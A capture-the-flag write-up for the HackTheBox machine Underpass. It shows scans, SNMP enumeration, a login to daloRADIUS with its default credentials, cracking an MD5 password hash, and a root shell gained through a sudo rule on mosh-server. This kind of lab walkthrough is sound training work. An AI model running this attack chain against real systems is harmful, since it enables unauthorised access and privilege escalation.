HackTheBox | Underpass
In this writeup, I demonstrate how to gain root level access to Underpass on HackTheBox.


Reconnaissance
Started with an Nmap scan and specified the following options:
-sC
to use default scripts-sV
to gather service/version information-oA
to save the output to a file-p-
to scan all TCP ports
Looking at the results, we see that there are only two ports open, TCP 22 and 80.
┌─[us-dedivip-1]─[10.10.14.156]─[cspsec@htb-m8e3s92kan]─[~/my_data/Underpass]
└──╼ [★]$ target_ip=10.129.244.39
┌─[us-dedivip-1]─[10.10.14.156]─[cspsec@htb-m8e3s92kan]─[~/my_data/Underpass]
└──╼ [★]$ target_domain=underpass.htb
┌─[us-dedivip-1]─[10.10.14.156]─[cspsec@htb-m8e3s92kan]─[~/my_data/Underpass]
└──╼ [★]$ echo -e "$target_ip\t$target_domain" | sudo tee -a /etc/hosts
10.129.244.39 underpass.htb
┌─[us-dedivip-1]─[10.10.14.156]─[cspsec@htb-m8e3s92kan]─[~/my_data/Underpass]
└──╼ [★]$ sudo nmap -sC -sV -oA nmap/full.tcp -p- $target_ip
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-18 14:24 CDT
Nmap scan report for 10.129.244.39
Host is up (0.0097s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 48:b0:d2:c7:29:26:ae:3d:fb:b7:6b:0f:f5:4d:2a:ea (ECDSA)
|_ 256 cb:61:64:b8:1b:1b:b5:ba:b8:45:86:c5:16:bb:e2:a2 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.17 seconds
Something commonly overlooked, at least for me, is the scanning of UDP ports. Nmap was run with the specified options:
-sU
for UDP scan-oA
to save the output to a file-T4
for a faster timing template, aka scan faster-F
to reduce the number of ports scanned from the top 1000 most common to the top 100.
Looking at the results, we see that there is only one open port, UDP 161.
┌─[us-dedivip-1]─[10.10.14.156]─[cspsec@htb-m8e3s92kan]─[~/my_data/Underpass]
└──╼ [★]$ sudo nmap -sU -oA nmap/initial.udp -T4 -F $target_ip
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-18 15:04 CDT
Nmap scan report for underpass.htb (10.129.244.39)
Host is up (0.010s latency).
Not shown: 62 open|filtered udp ports (no-response), 37 closed udp ports (port-unreach)
PORT STATE SERVICE
161/udp open snmp
Nmap done: 1 IP address (1 host up) scanned in 39.59 seconds
Initial Access
Before navigating to the target system's web server, I started Burp Suite to proxy all web requests. The default Apache2 page was seen. Not much could be done, so I ran a directory brute force in the background and pivoted to SNMP on UDP port 161.

┌─[us-dedivip-1]─[10.10.14.156]─[cspsec@htb-m8e3s92kan]─[~/my_data/Underpass]
└──╼ [★]$ feroxbuster -u http://$target_domain -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt -x php,html,asp,aspx,txt,config,pdf,doc
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://underpass.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
🔎 Extract Links │ true
💲 Extensions │ [php, html, asp, aspx, txt, config, pdf, doc]
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 9l 31w 275c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 9l 28w 278c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 363l 961w 10671c http://underpass.htb/index.html
200 GET 363l 961w 10671c http://underpass.htb/
200 GET 22l 105w 5952c http://underpass.htb/icons/ubuntu-logo.png
[####################] - 2m 387117/387117 0s found:3 errors:1
[####################] - 2m 387072/387072 3574/s http://underpass.htb/
The following command was run to collect additional information about the target system, and the following options were used:
-v
to specify version 1 of SNMP-c
to specify the community string to query
Looking at the results, there is a mention of the target system being the "...only daloradius server in the basin!". DaloRADIUS is an advanced RADIUS web management application, and the source code is available on GitHub. The installation script sets various default values for variables, one of which is DALORADIUS_ROOT_DIRECTORY=/var/www/daloradius
. Navigating to http://underpass.htb/daloradius
gave a 403 error. This leads me to believe this is a fresh installation with the default configuration. After looking at the source code more, I found a couple of login pages, one of which was accessible. Not surprisingly, the default credentials administrator::radius
worked.
┌─[us-dedivip-1]─[10.10.14.156]─[cspsec@htb-m8e3s92kan]─[~/my_data/Underpass]
└──╼ [★]$ snmpwalk -v 1 -c public $target_ip .1
iso.3.6.1.2.1.1.1.0 = STRING: "Linux underpass 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (269124) 0:44:51.24
iso.3.6.1.2.1.1.4.0 = STRING: "steve@underpass.htb"
iso.3.6.1.2.1.1.5.0 = STRING: "UnDerPass.htb is the only daloradius server in the basin!"
iso.3.6.1.2.1.1.6.0 = STRING: "Nevada, U.S.A. but not Vegas"
iso.3.6.1.2.1.1.7.0 = INTEGER: 72
iso.3.6.1.2.1.1.8.0 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.2.1 = OID: iso.3.6.1.6.3.10.3.1.1
iso.3.6.1.2.1.1.9.1.2.2 = OID: iso.3.6.1.6.3.11.3.1.1
iso.3.6.1.2.1.1.9.1.2.3 = OID: iso.3.6.1.6.3.15.2.1.1
iso.3.6.1.2.1.1.9.1.2.4 = OID: iso.3.6.1.6.3.1
iso.3.6.1.2.1.1.9.1.2.5 = OID: iso.3.6.1.6.3.16.2.2.1
iso.3.6.1.2.1.1.9.1.2.6 = OID: iso.3.6.1.2.1.49
iso.3.6.1.2.1.1.9.1.2.7 = OID: iso.3.6.1.2.1.50
iso.3.6.1.2.1.1.9.1.2.8 = OID: iso.3.6.1.2.1.4
iso.3.6.1.2.1.1.9.1.2.9 = OID: iso.3.6.1.6.3.13.3.1.3
iso.3.6.1.2.1.1.9.1.2.10 = OID: iso.3.6.1.2.1.92
iso.3.6.1.2.1.1.9.1.3.1 = STRING: "The SNMP Management Architecture MIB."
iso.3.6.1.2.1.1.9.1.3.2 = STRING: "The MIB for Message Processing and Dispatching."
iso.3.6.1.2.1.1.9.1.3.3 = STRING: "The management information definitions for the SNMP User-based Security Model."
iso.3.6.1.2.1.1.9.1.3.4 = STRING: "The MIB module for SNMPv2 entities"
iso.3.6.1.2.1.1.9.1.3.5 = STRING: "View-based Access Control Model for SNMP."
iso.3.6.1.2.1.1.9.1.3.6 = STRING: "The MIB module for managing TCP implementations"
iso.3.6.1.2.1.1.9.1.3.7 = STRING: "The MIB module for managing UDP implementations"
iso.3.6.1.2.1.1.9.1.3.8 = STRING: "The MIB module for managing IP and ICMP implementations"
iso.3.6.1.2.1.1.9.1.3.9 = STRING: "The MIB modules for managing SNMP Notification, plus filtering."
iso.3.6.1.2.1.1.9.1.3.10 = STRING: "The MIB module for logging SNMP Notifications."
iso.3.6.1.2.1.1.9.1.4.1 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.4.2 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.4.3 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.4.4 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.4.5 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.4.6 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.4.7 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.4.8 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.4.9 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.4.10 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.25.1.1.0 = Timeticks: (270373) 0:45:03.73
iso.3.6.1.2.1.25.1.2.0 = Hex-STRING: 07 E9 03 12 14 06 1C 00 2B 00 00
iso.3.6.1.2.1.25.1.3.0 = INTEGER: 393216
iso.3.6.1.2.1.25.1.4.0 = STRING: "BOOT_IMAGE=/vmlinuz-5.15.0-126-generic root=/dev/mapper/ubuntu--vg-ubuntu--lv ro net.ifnames=0 biosdevname=0
"
iso.3.6.1.2.1.25.1.5.0 = Gauge32: 0
iso.3.6.1.2.1.25.1.6.0 = Gauge32: 217
iso.3.6.1.2.1.25.1.7.0 = INTEGER: 0
End of MIB



A RADIUS server provides centralized authentication, authorization, and accounting, so it is a prime target for credential access. Listing the users on the target system revealed the svcMosh
user and their password. The password is not in plain text but is instead stored as an MD5 hash, which can be cracked quite easily. And just like that, I was able to access the target system via SSH.


┌─[us-dedivip-1]─[10.10.14.156]─[cspsec@htb-m8e3s92kan]─[~/my_data/Underpass]
└──╼ [★]$ hashcat hash.txt /usr/share/wordlists/rockyou.txt -m 0
Privilege Escalation
One of the first checks I do after landing on a target system, if I know a user's password, is to see if they are able to run anything with sudo
. In this case, the svcMosh
user is able to run /usr/bin/mosh-server
. Mosh is a remote terminal application similar to SSH. I was able to start a Mosh server as root
, and when you connect to it, you are provided a shell as root
.
svcMosh@underpass:~$ sudo -l
Matching Defaults entries for svcMosh on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User svcMosh may run the following commands on localhost:
(ALL) NOPASSWD: /usr/bin/mosh-server
svcMosh@underpass:~$ sudo mosh-server new -p 61111
MOSH CONNECT 61111 VuqMNt2aCihZ6hus68dWoA
mosh-server (mosh 1.3.2) [build mosh 1.3.2]
Copyright 2012 Keith Winstein <mosh-devel@mit.edu>
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
[mosh-server detached, pid = 2184]
svcMosh@underpass:~$ MOSH_KEY=VuqMNt2aCihZ6hus68dWoA mosh-client 127.0.0.1 61111
References
- DaloRADIUS Github with Source Code - https://github.com/lirantal/daloradius
- Mosh - https://mosh.org/#usage
- Most Server Command Line Syntax - https://linux.die.net/man/1/mosh-server
- Most Client Command Line Syntax - https://linux.die.net/man/1/mosh-client